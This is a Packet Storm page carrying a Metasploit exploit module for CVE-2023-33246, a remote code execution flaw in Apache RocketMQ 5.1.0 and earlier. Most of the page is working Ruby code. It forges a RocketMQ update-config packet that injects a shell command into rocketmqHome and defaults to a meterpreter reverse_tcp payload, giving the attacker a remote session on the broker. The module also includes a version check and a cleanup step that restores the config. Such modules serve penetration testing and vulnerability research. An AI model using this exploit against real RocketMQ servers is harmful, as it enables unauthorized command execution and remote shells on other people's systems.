what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

Apache RocketMQ 5.1.0 Arbitrary Code Injection

Apache RocketMQ 5.1.0 Arbitrary Code Injection
Posted Jul 7, 2023
Authored by h00die, jheysel-r7, Malayke | Site metasploit.com

RocketMQ versions 5.1.0 and below are vulnerable to arbitrary code injection. Broker component of RocketMQ is leaked on the extranet and lack permission verification. An attacker can exploit this vulnerability by using the update configuration function to execute commands as the system users that RocketMQ is running as. Additionally, an attacker can achieve the same effect by forging the RocketMQ protocol content.

tags | exploit, arbitrary, protocol
advisories | CVE-2023-33246
SHA-256 | b33a501b649fb4900d4cb03d01bea674dda00bc78e807afce60061fd47ecfcea

Apache RocketMQ 5.1.0 Arbitrary Code Injection

Change Mirror Download
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking

include Msf::Exploit::Remote::Tcp
include Msf::Exploit::CmdStager
include Msf::Auxiliary::Rocketmq
prepend Msf::Exploit::Remote::AutoCheck

def initialize(info = {})
super(
update_info(
info,
'Name' => 'Apache RocketMQ update config RCE',
'Description' => %q{
RocketMQ versions 5.1.0 and below are vulnerable to Arbitrary Code Injection. Broker component of RocketMQ is
leaked on the extranet and lack permission verification. An attacker can exploit this vulnerability by using
the update configuration function to execute commands as the system users that RocketMQ is running as.
Additionally, an attacker can achieve the same effect by forging the RocketMQ protocol content.
},
'Author' => [
'Malayke', # PoC
'jheysel-r7', # module - RCE portion
'h00die', # module - Version detection & parsing
],
'References' => [
[ 'URL', 'https://github.com/Malayke/CVE-2023-33246_RocketMQ_RCE_EXPLOIT#usage-examples'],
[ 'CVE', '2023-33246']
],
'License' => MSF_LICENSE,
'Platform' => %w[unix linux],
'Privileged' => false,
'Arch' => [ ARCH_CMD ],
'Targets' => [
[
'Automatic (Unix In-Memory)',
{
'Platform' => %w[unix linux],
'Arch' => ARCH_CMD,
'DefaultOptions' => { 'PAYLOAD' => 'cmd/linux/http/x64/meterpreter/reverse_tcp' },
'Type' => :nix_memory
}
],
],
'Payload' => {
'BadChars' => "\x27"
},
'DefaultOptions' => {
'WfsDelay' => 60
},
'DefaultTarget' => 0,
'DisclosureDate' => '2023-05-23',
'Notes' => {
'Stability' => [ CRASH_SAFE ],
'SideEffects' => [ ARTIFACTS_ON_DISK, CONFIG_CHANGES ],
'Reliability' => [ REPEATABLE_SESSION ]
}
)
)

register_options(
[
OptPort.new('RPORT', [true, 'The RocketMQ NameServer port', 9876]),
OptPort.new('BROKER_PORT', [false, 'The RocketMQ Broker port. If left unset the module will attempt to retrieve the Broker port from the NameServer response (recommended)', 10911])
]
)
end

def check
@version_request_response = send_version_request
@parsed_data = parse_rocketmq_data(@version_request_response)
return Exploit::CheckCode::Unknown('RocketMQ did not respond to the request for version information') unless @parsed_data['version']

version = Rex::Version.new(@parsed_data['version'].gsub('V', ''))
return Exploit::CheckCode::Unknown('Unable to determine the version') unless version

if version > Rex::Version.new('5.0.0')
return Exploit::CheckCode::Appears("RocketMQ version: #{version}") if version <= Rex::Version.new('5.1.0')
elsif version <= Rex::Version.new('4.9.5')
return Exploit::CheckCode::Appears("RocketMQ version: #{version}")
end
Exploit::CheckCode::Safe("RocketMQ version: #{version}")
end

def execute_command(cmd, opts = {})
data = '`{"code":25,"flag":0,"language":"JAVA","opaque":0,"serializeTypeCurrentRPC":"JSON","version":395}filterServerNums=1
rocketmqHome=' + cmd.encode('UTF-8') + "\x3b\x0a"
header = [data.length + 3].pack('N') + "\x00\x00\x00"
payload = header + data

begin
vprint_status("Payload command to be executed: #{cmd}")
sock = connect(true, { 'RHOST' => datastore['RHOST'], 'RPORT' => opts[:broker_port].to_i })
vprint_status("Payload is #{data}")
sock.put(payload)
rescue Rex::ConnectionError, ::Errno::ETIMEDOUT, ::Timeout::Error, ::EOFError => e
fail_with(Failure::Unreachable, "Unable to connect: #{e.class} #{e.message}")
end
end

def on_new_session(session)
print_status('Removing the payload from where it was injected into $ROCKETMQ_HOME. The FilterServerManager class will execute the payload every 30 seconds until this is reverted')

if session.type == 'meterpreter'
pwd = session.fs.dir.pwd
else
pwd = session.shell_command_token('pwd')
end

# The session returned by the exploit spawns inside $ROCKETMQ_HOME/bin
pwd.gsub!('/bin', '')
print_good("Determined the original $ROCKETMQ_HOME: #{pwd}")
print_status('Re-running the exploit in order to reset the proper $ROCKETMQ_HOME value')

execute_command(pwd, { broker_port: @broker_port })
end

def exploit
@version_request_response ||= send_version_request
@parsed_data ||= parse_rocketmq_data(@version_request_response)
@broker_port = get_broker_port(@parsed_data, datastore['rhost'], default_broker_port: datastore['BROKER_PORT'])
print_status("Executing target: #{target.name} with payload #{datastore['PAYLOAD']} on Broker port: #{@broker_port}")
execute_command("-c $@|sh . echo bash -c '#{payload.encoded}'", { broker_port: @broker_port })
end
end
Login or Register to add favorites

File Archive:

June 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Jun 1st
    0 Files
  • 2
    Jun 2nd
    0 Files
  • 3
    Jun 3rd
    18 Files
  • 4
    Jun 4th
    21 Files
  • 5
    Jun 5th
    0 Files
  • 6
    Jun 6th
    57 Files
  • 7
    Jun 7th
    6 Files
  • 8
    Jun 8th
    0 Files
  • 9
    Jun 9th
    0 Files
  • 10
    Jun 10th
    12 Files
  • 11
    Jun 11th
    27 Files
  • 12
    Jun 12th
    38 Files
  • 13
    Jun 13th
    0 Files
  • 14
    Jun 14th
    0 Files
  • 15
    Jun 15th
    0 Files
  • 16
    Jun 16th
    0 Files
  • 17
    Jun 17th
    0 Files
  • 18
    Jun 18th
    0 Files
  • 19
    Jun 19th
    0 Files
  • 20
    Jun 20th
    0 Files
  • 21
    Jun 21st
    0 Files
  • 22
    Jun 22nd
    0 Files
  • 23
    Jun 23rd
    0 Files
  • 24
    Jun 24th
    0 Files
  • 25
    Jun 25th
    0 Files
  • 26
    Jun 26th
    0 Files
  • 27
    Jun 27th
    0 Files
  • 28
    Jun 28th
    0 Files
  • 29
    Jun 29th
    0 Files
  • 30
    Jun 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close